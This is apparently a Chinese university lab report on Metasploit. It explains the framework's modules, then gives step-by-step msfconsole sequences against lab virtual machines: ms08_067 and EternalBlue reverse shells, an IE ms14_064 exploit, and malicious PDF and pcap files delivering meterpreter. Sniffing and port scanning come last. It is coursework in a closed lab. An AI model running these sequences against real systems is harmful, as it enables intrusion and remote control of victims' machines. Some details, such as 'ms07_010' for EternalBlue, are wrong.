目录
七、CVE-2019-0193:Apache Solr 远程命令执行漏洞复现(点击跳转)
八、CVE-2019-1388: Windows UAC 提权漏洞复现(点击跳转)
九、CVE-2020-0601:微软核心加密库漏洞复现(点击跳转,不会搭建https服务器,复现失败QAQ)
实验报告
一、实践原理
-
MSF攻击方法
-
主动攻击:扫描主机漏洞
-
攻击浏览器
-
供给客户端
-
-
MSF的六个模块
-
查看六种模块源码目录 /usr/share/metasploit-framework/modules
-
渗透攻击模块 Exploit :
-
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件——攻击漏洞,把shellcode"背"过去
-
-
辅助模块 Auxiliary :
-
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
-
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
-
-
攻击载荷 Payload :
-
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
-
三种 payload :Single,Stager,Stages
-
-
空字段模块 Nop
:
-
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
-
-
编码模块 Encoders :
-
针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征
-
-
后渗透攻击模块 Post :
-
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
-
-
-
MSF的三种用户操作界面
-
msfconsole
-
查看模块的具体信息 info [exploits|auxiliary|post|payloads|encoders|nops]
-
查看设置信息 show [options]
-
查看攻击目标类型 show [target]
-
查找命令 search
-
查找2018年产生的在windows平台下的漏洞 search ms18(或CNE:2018) type:exploit platform:windows
-
-
armitage
-
启动服务器 service postgresql start
-
启动 armitagearmitage
-
-
webgui
-
-
MSF常用漏洞利用命令
-
search name:用指定关键字搜索可以利用的漏洞模块
-
use exploit name :使用漏洞
-
show options :显示配置选项
-
set option name option :设置选项
-
show payloads :回链攻击载荷
-
show targets : 显示目标(os版本)
-
set TARGET target number :设置目标版本
-
exploit :开始漏洞攻击
-
sessions -l :列出会话
-
sessions -i id :选择会话
-
sessions -k id :结束会话
-
Ctrl+z :把会话放到后台
-
Ctrl+c :结束会话
-
show auxiliary:显示辅助模块
-
use auxiliary name :使用辅助模块
-
set option name option :设置选项
-
exploit :运行模块
-
二、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
一个主动攻击实践,如ms08_067;
-
一个针对浏览器的攻击,如ms11_050;
-
一个针对客户端的攻击,如Adobe;
-
成功应用任何一个辅助模块。
三、问题回答
-
用自己的话解释什么是exploit,payload,encode?
-
exploit是载具,连接漏洞,将payload传送到靶机中。
-
payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
-
encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
-
四、实验步骤
在实验开始之前,首先要保证两台虚拟机之间可以互相ping通
攻击机——KALI的IP: 192.168.81.129
靶机——Windows XP的IP: 192.168.81.134
——Windows 7 x64的IP 192.168.81.135
-
kali ping XP:
-
XP ping kali:
-
kali ping win 7:
-
win7 ping kali:
PING通后可以开始实验(所有靶机都要关闭防火墙!!!)
4.1主动攻击的实践
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
攻击方式:ms08_067 靶机:Microsoft Windows XP英文版
试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.81.132
sudo msfconsole //打开控制台
search ms08-067 //查看漏洞位置
use exploit/windows/smb/ms08_067_netapi //选择该漏洞
set payload generic/shell_reverse_tcp //设置攻击的载荷
set RHOSTS 192.168.81.134 //设置靶机IP
set LHOSTS 192.168.81.129 //设置攻击机IP
exploit //进行攻击
测试攻击,获得靶机权限之后输入ipconfig测试一下
攻击成功!
攻击方式:ms17_010 靶机:Microsoft Windows 7 x64 (注意一定要64位的)
sudo msfconsole //打开控制台
use auxiliary/scanner/smb/smb_ms17_010 //选择攻击漏洞
set RHOSTS 192.168.81.135 //输入靶机ip
exploit //对靶机扫描,看是否存在漏洞。下图所示,即为存在漏洞。
use exploit/windows/smb/ms17_010_eternalblue //选择该漏洞
set payload windows/x64/meterpreter/reverse_tcp //设置攻击的载荷
set RHOSTS 192.168.81.135 //设置靶机IP
set LHOSTS 192.168.81.129 //设置攻击机IP
exploit //进行攻击
测试攻击,获得靶机权限之后输入ipconfig测试一下
攻击成功!
4.2针对浏览器的攻击
ms14_064Windows Server 2008(用于基于 x64的系统)和 Windows Server 2008(用于基于 x64的系统)Service Pack 2 [Internet Explorer 7]( 远程执行漏洞代码)
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
攻击方式:ms14_064 靶机:Microsoft WindowsXP IE浏览器
打开windowsXP对浏览器设置一下安全权限。
右键IE打开设置
安全->自定义级别->对没有...见图
高级->允许...见图
sudo msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 192.168.81.129 //设置攻方
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.81.129 //kali的ip
set LPORT 1234//自己的学号
set target 0 //设置winXP靶机
exploit //发起渗透攻击
去靶机浏览器中输入URL生成代码
执行网址后,回到kali中攻击,注意观察kali中返回数值,出现下图会话时,ctrl+c停止攻击
输入 sessions -i 1 实施攻击
攻击方式:ms17_010(针对浏览器) 靶机:Microsoft Windows7 IE浏览器
use exploit/windows/smb/ms17_010_eternalblue //进入该模块
show payloads //显示可用载荷
set payload generic/shell_reverse_tcp
set RHOST 192.168.81.135 //设置靶机IP,端口默认为445
set LPORT 1234//成功后回连主机端口
set LHOST 192.168.81.129//设置攻击机IP
exploit //发起渗透攻击
来到靶机IP浏览器,输入http://192.168.81.129:1234链接。
测试攻击,获得靶机权限之后输入ipconfig测试一下
4.3针对客户端的攻击
攻击方式:Adobe 靶机:Windows XP
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 1234//设置端口号
set RHOST 192.168.81.134//设置靶机IP地址
exploit //攻击
此时生成msf.pdf
,我们进入保存目录 cd /root/.msf4/local 复制到共享文件夹中,在移到windowsXP虚拟机中
用Adobe reader打开这个pdf文件
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.81.134 //设置靶机IP地址
set LPORT 1234 //设置端口号 、
exploit //攻击
回连成功!
攻击方式:WireShark1.4.2 靶机:Windows XP
use exploit/windows/fileformat/wireshark_packet_dect
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看设置项
set LHOST 192.168.81.129 //kali IP
set LPORT 1234 //设置攻击端口
set FILENAME zyx.pcap //设置生成的pcap文件名
exploit //发起攻击
把生成的zyx.pcap拷贝到靶机中
然后再回到kali
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.81.129 //kali IP
set LPORT 1234 //设置攻击端口
exploit //监听
在靶机中用wireshark打开zyx这个文件
回到kali中,发现链接成功。
4.4 成功应用任何一个辅助模块
攻击方式:sniffer(嗅探) 靶机:Windows XP——可以使用这个功能来看靶机的浏览记录
search sniff //看一下嗅探的攻击
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
到windows xp里访问一个网址,发现kali中完全捕捉到了
攻击方式:portscan(端口扫描) 靶机:Windows XP——可以 search portscan 命令搜索相关的端口扫描脚本
search portscan //看看可以扫什么端口
use auxiliary/scanner/portscan/tcp // 选择tcp脚本
set Rhosts 192.168.81.134 //设置靶机IP
set threads 20
show options //看一下配置文件
run
到靶机中上一下网,回到kali中查看返回数据(得到了tcp包)
五、离实战还缺些什么技术或步骤?
-
信息收集扫描的重要性,掌握准确的信息是成功的关键因素。
-
目前对某个漏洞的攻击还是针对与网上搜索的资料和步骤,msf只是攻击漏洞的一个工具,根据想要的攻击的方法选择已有的模块进行攻击,对已有攻击教程的依赖程度还比较高,所以想真正用好msf,搞懂怎么利用漏洞进行攻击还需要更多的主动性、目的性。
六、实验总结与体会
这次实验是我目前为止这门课做的最艰难的一次实验。可以说我真的是前前后后做了10次实验,花了整整5天,但每一次的结果都是失败,靶机也前前后后换了7、8个,最后还是拷了负责人同学的虚拟机来完成的实验。
这次实验的麻烦其实也说明了这些年代比较久远的漏洞大多都已经被修复,是一个好消息,但这并不意味着现在用的最新系统就没有漏洞,就不会有人攻击,还是需要不断努力完善。